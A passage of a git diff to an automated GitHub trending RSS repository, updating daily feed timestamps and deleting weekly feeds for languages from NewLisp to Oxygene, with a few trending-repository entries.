http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:56:32Z - Weekly Trending of NetLogo in GitHub - - \ No newline at end of file diff --git a/newlisp/daily/index.xml b/newlisp/daily/index.xml index 10656bd0ec8..c656c99424a 100644 --- a/newlisp/daily/index.xml +++ b/newlisp/daily/index.xml @@ -1,7 +1,7 @@ GitHub NewLisp Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:36:34Z + 2023-09-25T01:35:50Z Daily Trending of NewLisp in GitHub \ No newline at end of file diff --git a/newlisp/weekly/index.xml b/newlisp/weekly/index.xml deleted file mode 100644 index 67242c8fd01..00000000000 --- a/newlisp/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub NewLisp Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:56:33Z - Weekly Trending of NewLisp in GitHub - - \ No newline at end of file diff --git a/nextflow/daily/index.xml b/nextflow/daily/index.xml index 58df2c3c84f..fa6bd71bd6a 100644 --- a/nextflow/daily/index.xml +++ b/nextflow/daily/index.xml @@ -1,7 +1,7 @@ GitHub Nextflow Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:36:37Z + 2023-09-25T01:35:53Z Daily Trending of Nextflow in GitHub \ No newline at end of file diff --git a/nextflow/weekly/index.xml b/nextflow/weekly/index.xml deleted file mode 100644 index 55a1e5dbdd9..00000000000 --- a/nextflow/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Nextflow Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:56:37Z - Weekly Trending of Nextflow in GitHub - - \ No newline at end of file diff --git a/nginx/daily/index.xml b/nginx/daily/index.xml index 05a0362b6a2..e9de8d7975d 100644 --- a/nginx/daily/index.xml +++ b/nginx/daily/index.xml @@ -1,7 +1,7 @@ GitHub Nginx Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:36:36Z + 2023-09-25T01:35:55Z Daily Trending of Nginx in GitHub \ No newline at end of file diff --git a/nginx/weekly/index.xml b/nginx/weekly/index.xml deleted file mode 100644 index 4dc086cf9fc..00000000000 --- a/nginx/weekly/index.xml +++ /dev/null @@ -1,14 +0,0 @@ - - GitHub Nginx Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:56:38Z - Weekly Trending of Nginx in GitHub - - - hamptonpaulk/php7-dockerized - 2023-09-24T01:56:38Z - tag:github.com,2023-09-24:/hamptonpaulk/php7-dockerized - - <p>Simple PHP7 Docker & Compose Environment</p><hr> - - \ No newline at end of file diff --git a/nim/daily/index.xml b/nim/daily/index.xml index 1e38a818803..a5f6b8a26fe 100644 --- a/nim/daily/index.xml +++ b/nim/daily/index.xml @@ -1,7 +1,7 @@ GitHub Nim Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:36:39Z + 2023-09-25T01:35:57Z Daily Trending of Nim in GitHub \ No newline at end of file diff --git a/nim/weekly/index.xml b/nim/weekly/index.xml deleted file mode 100644 index daa84217d49..00000000000 --- a/nim/weekly/index.xml +++ /dev/null @@ -1,21 +0,0 @@ - - GitHub Nim Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:56:39Z - Weekly Trending of Nim in GitHub - - - radkesvat/ReverseTlsTunnel - 2023-09-24T01:56:39Z - tag:github.com,2023-09-24:/radkesvat/ReverseTlsTunnel - - <p>Reverse Tcp Tunnel with custom sni handshake, mux support and more...</p><hr> - - - nim-lang/atlas - 2023-09-24T01:56:39Z - tag:github.com,2023-09-24:/nim-lang/atlas - - <p>The Atlas Package cloner. It manages an isolated workspace that contains projects and dependencies.</p><hr> - - \ No newline at end of file diff --git a/ninja/daily/index.xml b/ninja/daily/index.xml index abfb416db37..3f9a80e0e49 100644 --- a/ninja/daily/index.xml +++ b/ninja/daily/index.xml @@ -1,7 +1,7 @@ GitHub Ninja Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:36:38Z + 2023-09-25T01:35:54Z Daily Trending of Ninja in GitHub \ No newline at end of file diff --git a/ninja/weekly/index.xml b/ninja/weekly/index.xml deleted file mode 100644 index dcab552022a..00000000000 --- a/ninja/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Ninja Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:56:36Z - Weekly Trending of Ninja in GitHub - - \ No newline at end of file diff --git a/nit/daily/index.xml b/nit/daily/index.xml index 6d92ea3383a..93657b7d220 100644 --- a/nit/daily/index.xml +++ b/nit/daily/index.xml @@ -1,7 +1,7 @@ GitHub Nit Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:36:40Z + 2023-09-25T01:35:59Z Daily Trending of Nit in GitHub \ No newline at end of file diff --git a/nit/weekly/index.xml b/nit/weekly/index.xml deleted file mode 100644 index 082a8eedd3b..00000000000 --- a/nit/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Nit Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:56:41Z - Weekly Trending of Nit in GitHub - - \ No newline at end of file diff --git a/nix/daily/index.xml b/nix/daily/index.xml index ffc425c402f..cf885f76784 100644 --- a/nix/daily/index.xml +++ b/nix/daily/index.xml @@ -1,7 +1,21 @@ GitHub Nix Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:36:44Z + 2023-09-25T01:36:02Z Daily Trending of Nix in GitHub + + GTrunSec/POS + 2023-09-25T01:36:02Z + tag:github.com,2023-09-25:/GTrunSec/POS + + <p>Reusable and overridable Nix profiles/modules are implemented with POP (Pure Object Prototypes)</p><hr> + + + nix-community/flake-firefox-nightly + 2023-09-25T01:36:02Z + tag:github.com,2023-09-25:/nix-community/flake-firefox-nightly + + <p>this provides an auto-updating flake for firefox-nightly-bin from nixpkgs-mozilla [maintainer=@colemickens, @Artturin]</p><hr> + \ No newline at end of file diff --git a/nix/weekly/index.xml b/nix/weekly/index.xml deleted file mode 100644 index a982a6ace43..00000000000 --- a/nix/weekly/index.xml +++ /dev/null @@ -1,14 +0,0 @@ - - GitHub Nix Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:56:44Z - Weekly Trending of Nix in GitHub - - - accelbread/flakelight - 2023-09-24T01:56:44Z - tag:github.com,2023-09-24:/accelbread/flakelight - - <p>Framework for simplifying flake setup</p><hr> - - \ No newline at end of file diff --git a/nl/daily/index.xml b/nl/daily/index.xml index 90c2431df3c..94beb5e830d 100644 --- a/nl/daily/index.xml +++ b/nl/daily/index.xml @@ -1,7 +1,7 @@ GitHub NL Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:36:42Z + 2023-09-25T01:35:58Z Daily Trending of NL in GitHub \ No newline at end of file diff --git a/nl/weekly/index.xml b/nl/weekly/index.xml deleted file mode 100644 index 79f66698067..00000000000 --- a/nl/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub NL Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:56:42Z - Weekly Trending of NL in GitHub - - \ No newline at end of file diff --git a/npm-config/daily/index.xml b/npm-config/daily/index.xml index 56f36e027fa..38b3684d896 100644 --- a/npm-config/daily/index.xml +++ b/npm-config/daily/index.xml @@ -1,7 +1,7 @@ GitHub NPM Config Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:36:41Z + 2023-09-25T01:35:59Z Daily Trending of NPM Config in GitHub \ No newline at end of file diff --git a/npm-config/weekly/index.xml b/npm-config/weekly/index.xml deleted file mode 100644 index 28368e625bb..00000000000 --- a/npm-config/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub NPM Config Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:56:40Z - Weekly Trending of NPM Config in GitHub - - \ No newline at end of file diff --git a/nsis/daily/index.xml b/nsis/daily/index.xml index bf28121664d..12b6a697fd1 100644 --- a/nsis/daily/index.xml +++ b/nsis/daily/index.xml @@ -1,7 +1,7 @@ GitHub NSIS Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:36:47Z + 2023-09-25T01:36:06Z Daily Trending of NSIS in GitHub \ No newline at end of file diff --git a/nsis/weekly/index.xml b/nsis/weekly/index.xml deleted file mode 100644 index 083e0893113..00000000000 --- a/nsis/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub NSIS Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:56:47Z - Weekly Trending of NSIS in GitHub - - \ No newline at end of file diff --git a/nu/daily/index.xml b/nu/daily/index.xml index 6a9a75e32d4..cc9ae7a3b22 100644 --- a/nu/daily/index.xml +++ b/nu/daily/index.xml @@ -1,7 +1,7 @@ GitHub Nu Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:36:45Z + 2023-09-25T01:36:07Z Daily Trending of Nu in GitHub \ No newline at end of file diff --git a/nu/weekly/index.xml b/nu/weekly/index.xml deleted file mode 100644 index 1623b11892f..00000000000 --- a/nu/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Nu Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:56:46Z - Weekly Trending of Nu in GitHub - - \ No newline at end of file diff --git a/numpy/daily/index.xml b/numpy/daily/index.xml index 508f7a81be6..9a17a5a308f 100644 --- a/numpy/daily/index.xml +++ b/numpy/daily/index.xml @@ -1,7 +1,7 @@ GitHub NumPy Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:36:46Z + 2023-09-25T01:36:04Z Daily Trending of NumPy in GitHub \ No newline at end of file diff --git a/numpy/weekly/index.xml b/numpy/weekly/index.xml deleted file mode 100644 index 5811e214bb5..00000000000 --- a/numpy/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub NumPy Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:56:45Z - Weekly Trending of NumPy in GitHub - - \ No newline at end of file diff --git a/nunjucks/daily/index.xml b/nunjucks/daily/index.xml index 2a862fcc06d..78bf316b7dc 100644 --- a/nunjucks/daily/index.xml +++ b/nunjucks/daily/index.xml @@ -1,7 +1,7 @@ GitHub Nunjucks Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:36:49Z + 2023-09-25T01:36:05Z Daily Trending of Nunjucks in GitHub \ No newline at end of file diff --git a/nunjucks/weekly/index.xml b/nunjucks/weekly/index.xml deleted file mode 100644 index 961e2e87102..00000000000 --- a/nunjucks/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Nunjucks Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:56:48Z - Weekly Trending of Nunjucks in GitHub - - \ No newline at end of file diff --git a/nwscript/daily/index.xml b/nwscript/daily/index.xml index 9daea86c3bb..ef09302ac5a 100644 --- a/nwscript/daily/index.xml +++ b/nwscript/daily/index.xml @@ -1,7 +1,7 @@ GitHub NWScript Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:36:50Z + 2023-09-25T01:36:10Z Daily Trending of NWScript in GitHub \ No newline at end of file diff --git a/nwscript/weekly/index.xml b/nwscript/weekly/index.xml deleted file mode 100644 index 7906b533321..00000000000 --- a/nwscript/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub NWScript Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:56:52Z - Weekly Trending of NWScript in GitHub - - \ No newline at end of file diff --git a/objdump/daily/index.xml b/objdump/daily/index.xml index cda0ce450f9..c04ddc88f92 100644 --- a/objdump/daily/index.xml +++ b/objdump/daily/index.xml @@ -1,7 +1,7 @@ GitHub ObjDump Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:36:54Z + 2023-09-25T01:36:15Z Daily Trending of ObjDump in GitHub \ No newline at end of file diff --git a/objdump/weekly/index.xml b/objdump/weekly/index.xml deleted file mode 100644 index e09f6cf5fae..00000000000 --- a/objdump/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub ObjDump Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:56:55Z - Weekly Trending of ObjDump in GitHub - - \ No newline at end of file diff --git a/object-data-instance-notation/daily/index.xml b/object-data-instance-notation/daily/index.xml index aefbc45a4d7..8c4063de122 100644 --- a/object-data-instance-notation/daily/index.xml +++ b/object-data-instance-notation/daily/index.xml @@ -1,7 +1,7 @@ GitHub Object Data Instance Notation Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:36:53Z + 2023-09-25T01:36:12Z Daily Trending of Object Data Instance Notation in GitHub \ No newline at end of file diff --git a/object-data-instance-notation/weekly/index.xml b/object-data-instance-notation/weekly/index.xml deleted file mode 100644 index 86635d196b6..00000000000 --- a/object-data-instance-notation/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Object Data Instance Notation Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:56:54Z - Weekly Trending of Object Data Instance Notation in GitHub - - \ No newline at end of file diff --git a/objective-c++/daily/index.xml b/objective-c++/daily/index.xml index 0201ee9e0f6..88010ebf7cb 100644 --- a/objective-c++/daily/index.xml +++ b/objective-c++/daily/index.xml @@ -1,7 +1,7 @@ GitHub Objective-C++ Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:36:59Z + 2023-09-25T01:36:18Z Daily Trending of Objective-C++ in GitHub \ No newline at end of file diff --git a/objective-c++/weekly/index.xml b/objective-c++/weekly/index.xml deleted file mode 100644 index fc23dea37b5..00000000000 --- a/objective-c++/weekly/index.xml +++ /dev/null @@ -1,14 +0,0 @@ - - GitHub Objective-C++ Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:56:59Z - Weekly Trending of Objective-C++ in GitHub - - - AppLovin/AppLovin-MAX-Godot - 2023-09-24T01:56:59Z - tag:github.com,2023-09-24:/AppLovin/AppLovin-MAX-Godot - - <p></p><hr> - - \ No newline at end of file diff --git a/objective-c/daily/index.xml b/objective-c/daily/index.xml index 6608e73e06e..6c67fed104f 100644 --- a/objective-c/daily/index.xml +++ b/objective-c/daily/index.xml @@ -1,7 +1,7 @@ GitHub Objective-C Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:37:03Z + 2023-09-25T01:36:21Z Daily Trending of Objective-C in GitHub \ No newline at end of file diff --git a/objective-c/weekly/index.xml b/objective-c/weekly/index.xml deleted file mode 100644 index d9acb59f40f..00000000000 --- a/objective-c/weekly/index.xml +++ /dev/null @@ -1,14 +0,0 @@ - - GitHub Objective-C Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:57:02Z - Weekly Trending of Objective-C in GitHub - - - Sependa/google-api-objectivec-client - 2023-09-24T01:57:02Z - tag:github.com,2023-09-24:/Sependa/google-api-objectivec-client - - <p>Fork of Google's SVN Repo</p><hr><p>This is a fork of Google's public SVN repository from <a href="http://code.google.com/p/google-api-objectivec-client/">http://code.google.com/p/google-api-objectivec-client/</a></p> - - \ No newline at end of file diff --git a/objective-j/daily/index.xml b/objective-j/daily/index.xml index e69ee5e55b9..600a36e59b3 100644 --- a/objective-j/daily/index.xml +++ b/objective-j/daily/index.xml @@ -1,7 +1,7 @@ GitHub Objective-J Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:36:58Z + 2023-09-25T01:36:16Z Daily Trending of Objective-J in GitHub \ No newline at end of file diff --git a/objective-j/weekly/index.xml b/objective-j/weekly/index.xml deleted file mode 100644 index 109e283224c..00000000000 --- a/objective-j/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Objective-J Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:56:56Z - Weekly Trending of Objective-J in GitHub - - \ No newline at end of file diff --git a/objectscript/daily/index.xml b/objectscript/daily/index.xml index 743369e5292..70ba6e60c28 100644 --- a/objectscript/daily/index.xml +++ b/objectscript/daily/index.xml @@ -1,7 +1,7 @@ GitHub ObjectScript Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:36:57Z + 2023-09-25T01:36:17Z Daily Trending of ObjectScript in GitHub \ No newline at end of file diff --git a/objectscript/weekly/index.xml b/objectscript/weekly/index.xml deleted file mode 100644 index 3b344c6a09d..00000000000 --- a/objectscript/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub ObjectScript Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:56:57Z - Weekly Trending of ObjectScript in GitHub - - \ No newline at end of file diff --git a/ocaml/daily/index.xml b/ocaml/daily/index.xml index 836acedf4a2..86ea828c9d3 100644 --- a/ocaml/daily/index.xml +++ b/ocaml/daily/index.xml @@ -1,7 +1,7 @@ GitHub OCaml Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:37:17Z + 2023-09-25T01:36:32Z Daily Trending of OCaml in GitHub \ No newline at end of file diff --git a/ocaml/weekly/index.xml b/ocaml/weekly/index.xml deleted file mode 100644 index 4b00219e21b..00000000000 --- a/ocaml/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub OCaml Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:57:15Z - Weekly Trending of OCaml in GitHub - - \ No newline at end of file diff --git a/odin/daily/index.xml b/odin/daily/index.xml index 6e2bd3bf87a..586730c7c82 100644 --- a/odin/daily/index.xml +++ b/odin/daily/index.xml @@ -1,7 +1,7 @@ GitHub Odin Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:37:15Z + 2023-09-25T01:36:29Z Daily Trending of Odin in GitHub \ No newline at end of file diff --git a/odin/weekly/index.xml b/odin/weekly/index.xml deleted file mode 100644 index b2d8d7dd3ec..00000000000 --- a/odin/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Odin Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:57:13Z - Weekly Trending of Odin in GitHub - - \ No newline at end of file diff --git a/omgrofl/daily/index.xml b/omgrofl/daily/index.xml index 30a00d03ee3..f668176f68a 100644 --- a/omgrofl/daily/index.xml +++ b/omgrofl/daily/index.xml @@ -1,7 +1,7 @@ GitHub Omgrofl Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:37:14Z + 2023-09-25T01:36:28Z Daily Trending of Omgrofl in GitHub \ No newline at end of file diff --git a/omgrofl/weekly/index.xml b/omgrofl/weekly/index.xml deleted file mode 100644 index de2eea8092f..00000000000 --- a/omgrofl/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Omgrofl Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:57:11Z - Weekly Trending of Omgrofl in GitHub - - \ No newline at end of file diff --git a/ooc/daily/index.xml b/ooc/daily/index.xml index 81e51dc7f59..d9ec522adfd 100644 --- a/ooc/daily/index.xml +++ b/ooc/daily/index.xml @@ -1,7 +1,7 @@ GitHub ooc Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:37:13Z + 2023-09-25T01:36:28Z Daily Trending of ooc in GitHub \ No newline at end of file diff --git a/ooc/weekly/index.xml b/ooc/weekly/index.xml deleted file mode 100644 index de284bd50ac..00000000000 --- a/ooc/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub ooc Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:57:12Z - Weekly Trending of ooc in GitHub - - \ No newline at end of file diff --git a/opa/daily/index.xml b/opa/daily/index.xml index 0d4b68a2960..4f90d567528 100644 --- a/opa/daily/index.xml +++ b/opa/daily/index.xml @@ -1,7 +1,7 @@ GitHub Opa Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:37:21Z + 2023-09-25T01:36:34Z Daily Trending of Opa in GitHub \ No newline at end of file diff --git a/opa/weekly/index.xml b/opa/weekly/index.xml deleted file mode 100644 index 1ddba254a54..00000000000 --- a/opa/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Opa Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:57:18Z - Weekly Trending of Opa in GitHub - - \ No newline at end of file diff --git a/opal/daily/index.xml b/opal/daily/index.xml index 38dd4ebc3db..f6f0a68bc27 100644 --- a/opal/daily/index.xml +++ b/opal/daily/index.xml @@ -1,7 +1,7 @@ GitHub Opal Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:37:19Z + 2023-09-25T01:36:36Z Daily Trending of Opal in GitHub \ No newline at end of file diff --git a/opal/weekly/index.xml b/opal/weekly/index.xml deleted file mode 100644 index fa453230bdd..00000000000 --- a/opal/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Opal Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:57:17Z - Weekly Trending of Opal in GitHub - - \ No newline at end of file diff --git a/open-policy-agent/daily/index.xml b/open-policy-agent/daily/index.xml index 9da0b7194e0..6da7b6f85ba 100644 --- a/open-policy-agent/daily/index.xml +++ b/open-policy-agent/daily/index.xml @@ -1,7 +1,7 @@ GitHub Open Policy Agent Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:37:20Z + 2023-09-25T01:36:35Z Daily Trending of Open Policy Agent in GitHub \ No newline at end of file diff --git a/open-policy-agent/weekly/index.xml b/open-policy-agent/weekly/index.xml deleted file mode 100644 index ff0c4aeeaa2..00000000000 --- a/open-policy-agent/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Open Policy Agent Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:57:19Z - Weekly Trending of Open Policy Agent in GitHub - - \ No newline at end of file diff --git a/opencl/daily/index.xml b/opencl/daily/index.xml index 889c743e14b..1a94d720d46 100644 --- a/opencl/daily/index.xml +++ b/opencl/daily/index.xml @@ -1,7 +1,7 @@ GitHub OpenCL Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:37:24Z + 2023-09-25T01:36:38Z Daily Trending of OpenCL in GitHub \ No newline at end of file diff --git a/opencl/weekly/index.xml b/opencl/weekly/index.xml deleted file mode 100644 index 7100a949183..00000000000 --- a/opencl/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub OpenCL Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:57:20Z - Weekly Trending of OpenCL in GitHub - - \ No newline at end of file diff --git a/openedge-abl/daily/index.xml b/openedge-abl/daily/index.xml index 2067852d1bb..10e954becac 100644 --- a/openedge-abl/daily/index.xml +++ b/openedge-abl/daily/index.xml @@ -1,7 +1,7 @@ GitHub OpenEdge ABL Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:37:22Z + 2023-09-25T01:36:37Z Daily Trending of OpenEdge ABL in GitHub \ No newline at end of file diff --git a/openedge-abl/weekly/index.xml b/openedge-abl/weekly/index.xml deleted file mode 100644 index d069fb0a4f3..00000000000 --- a/openedge-abl/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub OpenEdge ABL Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:57:21Z - Weekly Trending of OpenEdge ABL in GitHub - - \ No newline at end of file diff --git a/openqasm/daily/index.xml b/openqasm/daily/index.xml index 185b28b3162..7246ddffd00 100644 --- a/openqasm/daily/index.xml +++ b/openqasm/daily/index.xml @@ -1,7 +1,7 @@ GitHub OpenQASM Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:37:23Z + 2023-09-25T01:36:39Z Daily Trending of OpenQASM in GitHub \ No newline at end of file diff --git a/openqasm/weekly/index.xml b/openqasm/weekly/index.xml deleted file mode 100644 index c7ac8d131af..00000000000 --- a/openqasm/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub OpenQASM Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:57:22Z - Weekly Trending of OpenQASM in GitHub - - \ No newline at end of file diff --git a/openrc-runscript/daily/index.xml b/openrc-runscript/daily/index.xml index e48a6ed3b5a..35b8a36b216 100644 --- a/openrc-runscript/daily/index.xml +++ b/openrc-runscript/daily/index.xml @@ -1,7 +1,7 @@ GitHub OpenRC runscript Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:37:28Z + 2023-09-25T01:36:43Z Daily Trending of OpenRC runscript in GitHub \ No newline at end of file diff --git a/openrc-runscript/weekly/index.xml b/openrc-runscript/weekly/index.xml deleted file mode 100644 index 2b2c840a320..00000000000 --- a/openrc-runscript/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub OpenRC runscript Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:57:25Z - Weekly Trending of OpenRC runscript in GitHub - - \ No newline at end of file diff --git a/openscad/daily/index.xml b/openscad/daily/index.xml index 024c08d6557..45d6b017d1a 100644 --- a/openscad/daily/index.xml +++ b/openscad/daily/index.xml @@ -1,7 +1,7 @@ GitHub OpenSCAD Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:37:26Z + 2023-09-25T01:36:43Z Daily Trending of OpenSCAD in GitHub \ No newline at end of file diff --git a/openscad/weekly/index.xml b/openscad/weekly/index.xml deleted file mode 100644 index b59d0d9b5a1..00000000000 --- a/openscad/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub OpenSCAD Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:57:26Z - Weekly Trending of OpenSCAD in GitHub - - \ No newline at end of file diff --git a/openstep-property-list/daily/index.xml b/openstep-property-list/daily/index.xml index 6a2f4158564..c687d0dc2e6 100644 --- a/openstep-property-list/daily/index.xml +++ b/openstep-property-list/daily/index.xml @@ -1,7 +1,7 @@ GitHub OpenStep Property List Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:37:27Z + 2023-09-25T01:36:42Z Daily Trending of OpenStep Property List in GitHub \ No newline at end of file diff --git a/openstep-property-list/weekly/index.xml b/openstep-property-list/weekly/index.xml deleted file mode 100644 index 2b2f81a0502..00000000000 --- a/openstep-property-list/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub OpenStep Property List Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:57:25Z - Weekly Trending of OpenStep Property List in GitHub - - \ No newline at end of file diff --git a/opentype-feature-file/daily/index.xml b/opentype-feature-file/daily/index.xml index 1d2e20cbb76..d8a0ae42de6 100644 --- a/opentype-feature-file/daily/index.xml +++ b/opentype-feature-file/daily/index.xml @@ -1,7 +1,7 @@ GitHub OpenType Feature File Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:37:28Z + 2023-09-25T01:36:41Z Daily Trending of OpenType Feature File in GitHub \ No newline at end of file diff --git a/opentype-feature-file/weekly/index.xml b/opentype-feature-file/weekly/index.xml deleted file mode 100644 index 082530ae850..00000000000 --- a/opentype-feature-file/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub OpenType Feature File Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:57:24Z - Weekly Trending of OpenType Feature File in GitHub - - \ No newline at end of file diff --git a/org/daily/index.xml b/org/daily/index.xml index 6d91ff41211..2e8dff96531 100644 --- a/org/daily/index.xml +++ b/org/daily/index.xml @@ -1,7 +1,7 @@ GitHub Org Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:37:29Z + 2023-09-25T01:36:46Z Daily Trending of Org in GitHub \ No newline at end of file diff --git a/org/weekly/index.xml b/org/weekly/index.xml deleted file mode 100644 index 19675a3698b..00000000000 --- a/org/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Org Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:57:28Z - Weekly Trending of Org in GitHub - - \ No newline at end of file diff --git a/ox/daily/index.xml b/ox/daily/index.xml index e6a78e1f1a5..d935033b1b0 100644 --- a/ox/daily/index.xml +++ b/ox/daily/index.xml @@ -1,7 +1,7 @@ GitHub Ox Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:37:30Z + 2023-09-25T01:36:45Z Daily Trending of Ox in GitHub \ No newline at end of file diff --git a/ox/weekly/index.xml b/ox/weekly/index.xml deleted file mode 100644 index 74c7e4a713f..00000000000 --- a/ox/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Ox Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:57:27Z - Weekly Trending of Ox in GitHub - - \ No newline at end of file diff --git a/oxygene/daily/index.xml b/oxygene/daily/index.xml index 044aefb0e02..f6797a0474d 100644 --- a/oxygene/daily/index.xml +++ b/oxygene/daily/index.xml @@ -1,7 +1,7 @@ GitHub Oxygene Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:37:32Z + 2023-09-25T01:36:46Z Daily Trending of Oxygene in GitHub \ No newline at end of file diff --git 